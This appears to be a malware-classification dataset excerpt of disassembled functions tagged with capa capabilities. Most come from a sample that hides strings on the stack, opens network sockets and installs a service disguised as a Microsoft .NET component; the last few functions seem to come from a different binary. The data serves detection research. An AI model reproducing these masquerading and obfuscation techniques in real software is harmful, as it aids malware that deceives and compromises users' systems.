joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get networking interfaces
Identify system language via api
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x344
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x408020
push 0x408088
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetVersionExA
push 0x408078
mov dword [esp + 0x88], eax
call esi
push eax
call edi
push 0x408010
push 0x408088
mov ebx, eax
call esi
push eax
call edi
push str.GetSystemInfo
push 0x408078
mov dword [esp + 0x74], eax
call esi
push eax
call edi
push str.GlobalMemoryStatusEx
push 0x408078
mov dword [esp + 0x90], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push 0x408088
mov dword [esp + 0x94], eax
call esi
push eax
call edi
mov dword [esp + 0x7c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov ebp, dword [esp + 0x358]
and eax, 0xffff
mov ecx, 0x27
lea edi, [esp + 0xd0]
mov dword [ebp], eax
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0xd0]
mov dword [esp + 0xd0], 0x9c
push eax
call ebx
xor ebx, ebx
mov cl, 0x32
mov al, 0x30
mov byte [esp + 0x28], 0x4e
mov byte [esp + 0x29], 0x54
mov byte [esp + 0x2a], bl
mov byte [esp + 0x38], cl
mov byte [esp + 0x39], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], bl
mov byte [esp + 0x14], 0x58
mov byte [esp + 0x15], 0x50
mov byte [esp + 0x16], bl
mov byte [esp + 0x40], cl
mov byte [esp + 0x41], al
mov byte [esp + 0x42], al
mov byte [esp + 0x43], 0x33
mov byte [esp + 0x44], bl
mov byte [esp + 0x48], 0x56
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x73
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], bl
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], al
mov dl, 0x38
mov byte [esp + 0x22], al
mov byte [esp + 0x23], dl
mov byte [esp + 0x53], dl
mov byte [esp + 0x2c], dl
mov byte [esp + 0x10], dl
mov edx, dword [esp + 0xd4]
mov byte [esp + 0x51], al
mov byte [esp + 0x52], al
mov byte [esp + 0x19], al
mov al, 0x31
cmp edx, 4
mov byte [esp + 0x24], bl
mov byte [esp + 0x30], 0x37
mov byte [esp + 0x31], bl
mov byte [esp + 0x50], cl
mov byte [esp + 0x54], 0x52
mov byte [esp + 0x55], cl
mov byte [esp + 0x56], bl
mov byte [esp + 0x2d], bl
mov byte [esp + 0x18], cl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x11], 0x2e
mov byte [esp + 0x12], al
mov byte [esp + 0x13], bl
ja 0x4011d8
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
lea esi, [ebp + 4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x68], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x68]
mov dword [0x408098], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 5
jne 0x40122b
mov eax, dword [esp + 0xd8]
cmp eax, ebx
jne 0x4011fb
mov dword [0x408098], 1
lea edi, [esp + 0x38]
jmp 0x410b47
cmp eax, 1
jne 0x40120f
mov dword [0x408098], ebx
lea edi, [esp + 0x14]
jmp 0x411306
cmp eax, 2
jne 0x4012e5
jmp 0x411581
cmp edx, 6
jne 0x4012e5
jmp 0x410857
jmp 0x4101fc
Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401c64
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x408164
push 0x408180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x408188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x408464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
and byte [ebp - 0xd8], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4087d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4084ec
test eax, eax
jmp loc.00411176
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
jmp loc.0041079b

Function at 0x401cd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x408164
push 0x408180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x408188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x408464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
and byte [ebp - 0xd8], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4087d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4084ec
test eax, eax
jmp loc.00411176
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
jmp loc.0041079b

Function at 0x401e67
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
jmp loc.00410a14
Function at 0x401eba
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.OpenSCManagerA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.OpenServiceA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push str.DeleteService
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
push str.CloseServiceHandle
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push 0xf003f
push 0
push 0
mov edi, eax
call dword [ebp - 4]
test eax, eax
je 0x401f37
jmp loc.00410cfd
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402217
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Link many functions at runtime
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x408144
push str.GetShortPathNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetEnvironmentVariableA
push ebx
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push 0x408304
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x4081e0
push ebx
mov dword [ebp - 0x38], eax
call esi
push eax
call edi
push str.SetPriorityClass
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
push str.SetThreadPriority
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push str.WinExec
push ebx
mov dword [ebp - 0x3c], eax
call esi
push eax
call edi
push str.SetFileAttributesA
push ebx
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x34], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x17b]
mov byte [ebp - 0x17c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x383]
mov byte [ebp - 0x384], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x27f]
mov byte [ebp - 0x280], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [ebp - 0x17c]
push eax
push ebx
call dword [ebp - 0x38]
lea eax, [ebp - 0x17c]
push esi
push eax
lea eax, [ebp - 0x17c]
push eax
call dword [ebp - 0x2c]
lea eax, [ebp - 0x384]
push esi
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x4f
mov byte [ebp - 0x1e], 0x4d
jmp loc.00410319
Function at 0x402446
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x40245f
push 1
pop eax
jmp fcn.004024d4
mov eax, dword [0x409498]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4024cd
test eax, eax
je 0x40245f
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
jmp loc.0041127e
xor eax, eax
jmp loc.00410171

Function at 0x402c2e
Capabilities:
Packed with generic packer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402ca3
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
lea edi, [ebp - 0xb]
jmp loc.004109d6
pop esi
pop ebx
leave
ret

Function at 0x402ca7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x408144
push str.WinExec
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetWindowsDirectoryA
push ebx
mov dword [ebp - 0x1c], eax
call esi
push eax
call edi
push str.GetModuleFileNameA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push str.CopyFileA
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
mov esi, 0x104
lea eax, [ebp - 0x2b8]
push esi
push eax
push 0
call dword [ebp - 0x24]
lea eax, [ebp - 0x164]
push esi
push eax
call dword [ebp - 4]
and byte [ebp - 0xa], 0
push 0x1a
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
jmp loc.004115c7
Function at 0x403061
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
jmp loc.00410a8e

Function at 0x4031c0
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407160
push 0x403ac0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2dc
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x260], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x280], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x258], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x26c], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x274], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x254], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x288], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x284], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x270], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x24c], eax
push str.GetLastError
mov ebx, 0x408144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x278], eax
push str.WinExec
push ebx
call esi
push eax
call edi
push dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
cmp esi, ebx
je fcn.004032f5
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
jmp loc.0041076d
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
jmp loc.00411220

Function at 0x403a90
Capabilities:
Packed with generic packer

Disassembly:
cmp cl, 0x40
jae 0x403aaa
cmp cl, 0x20
jae 0x403aa0
jmp loc.004108d9
mov eax, edx
xor edx, edx
and cl, 0x1f
shr eax, cl
ret
xor eax, eax
xor edx, edx
ret

Function at 0x403c60
Capabilities:
Packed with generic packer

Disassembly:
push esi
push str.GetTickCount
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov esi, eax
jmp loc.00411637
Function at 0x403ce0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x40568e
Capabilities:
Packed with generic packer

Disassembly:
cmp edi, 0xffffffff
je fcn.0040569a
push edi
jmp loc.00410000

Function at 0x405710
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Packed with generic packer

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
jmp loc.00410ace

Function at 0x41170e
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
and eax, 0xbfffffff
cmp ax, 6
add esp, 0xc
leave
popal
popfd
mov eax, dword [esp + 4]
test eax, eax
jmp loc.004044d6
Function at 0x402bb8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40d01c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402c50
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402c30
xor eax, eax
push ebp
push 0x402c29
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402c6c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402c30
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40d01c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40d01c], ax
mov esp, ebp
pop ebp
ret

Function at 0x4036b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402518
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x41a045], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403678
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x404550
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404780
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4045d3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404780
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4045d3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40479c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40465c
xor eax, eax
push ebp
push 0x404655
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404398
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40463a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4047bc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40463a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40465c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404776
cmp byte [ebp - 0xd], 0
jne 0x4046a3
cmp byte [ebp - 0x12], 0
je 0x404776
jmp 0x437b7d
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406a84
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406abd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004037e4
jmp 0x406ac6
mov eax, ebx
mov edx, esi
jmp 0x438645
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4